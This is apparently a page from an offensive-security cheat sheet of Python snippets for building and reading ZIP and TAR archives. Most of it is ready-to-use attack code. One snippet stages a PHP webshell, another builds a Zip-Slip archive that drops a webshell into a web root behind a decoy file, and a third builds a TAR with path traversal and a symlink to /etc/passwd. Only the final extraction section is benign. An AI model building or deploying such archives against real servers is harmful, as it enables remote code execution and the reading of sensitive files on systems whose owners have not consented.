Archives
Building and reading ZIP and TAR files, including Zip-Slip and symlink-traversal archives.
Create a ZIP / write entries
writestr() drops a file from a string (no temp file); useful for staging a webshell inside an archive.
import zipfile, io
# write to disk
with zipfile.ZipFile("out.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("shell.php", "<?php system($_GET['c']); ?>")
z.write("local.txt", arcname="readme.txt")
# build entirely in memory (upload without touching disk)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
z.writestr("payload.txt", "data")
buf.seek(0) # files={"file": ("a.zip", buf, "application/zip")}Find by: zip, zipfile, create archive, compress, writestr, write, archive, package, build zip, in memory, gap
Zip-Slip — path-traversal archive
When the server extracts uploads without sanitising names, a ../ entry writes outside the extract dir.
import zipfile
with zipfile.ZipFile("evil.zip", "w") as z:
z.writestr("../../../../var/www/html/shell.php",
"<?php system($_REQUEST['cmd']); ?>")
z.writestr("readme.txt", "looks legit") # decoy
# upload evil.zip -> server extracts -> shell lands in the webrootFind by: zip slip, path traversal, malicious zip, arbitrary write, extract, dot dot, overwrite, webshell, exploit, gap, directory escape
Malicious TAR — traversal & symlink
Tar preserves traversal names AND symlinks. The symlink trick yields arbitrary read when the app later serves an extracted file.
import tarfile, io
def add(t, name, data):
info = tarfile.TarInfo(name); info.size = len(data)
t.addfile(info, io.BytesIO(data))
with tarfile.open("evil.tar", "w") as t:
# traversal write
add(t, "../../../../var/www/html/shell.php", b"<?php system($_GET['c']); ?>")
# symlink -> read a file the app exposes after extraction
link = tarfile.TarInfo("loot.txt"); link.type = tarfile.SYMTYPE
link.linkname = "/etc/passwd"; t.addfile(link)Find by: tar, tarfile, symlink, path traversal, arbitrary read, arbitrary write, malicious archive, extract, exploit, gap, link
Read / extract a ZIP or TAR
Listing before extracting spots traversal entries. A single member can be read without unpacking everything.
import zipfile
with zipfile.ZipFile("in.zip") as z:
print(z.namelist())
data = z.read("config.php") # one member, in memory
z.extractall("out/") # all members
import tarfile
with tarfile.open("in.tar") as t:
print(t.getnames())
t.extractall("out/")Find by: zip, tar, extract, read archive, namelist, extractall, list contents, unpack, open archive, gap, inspect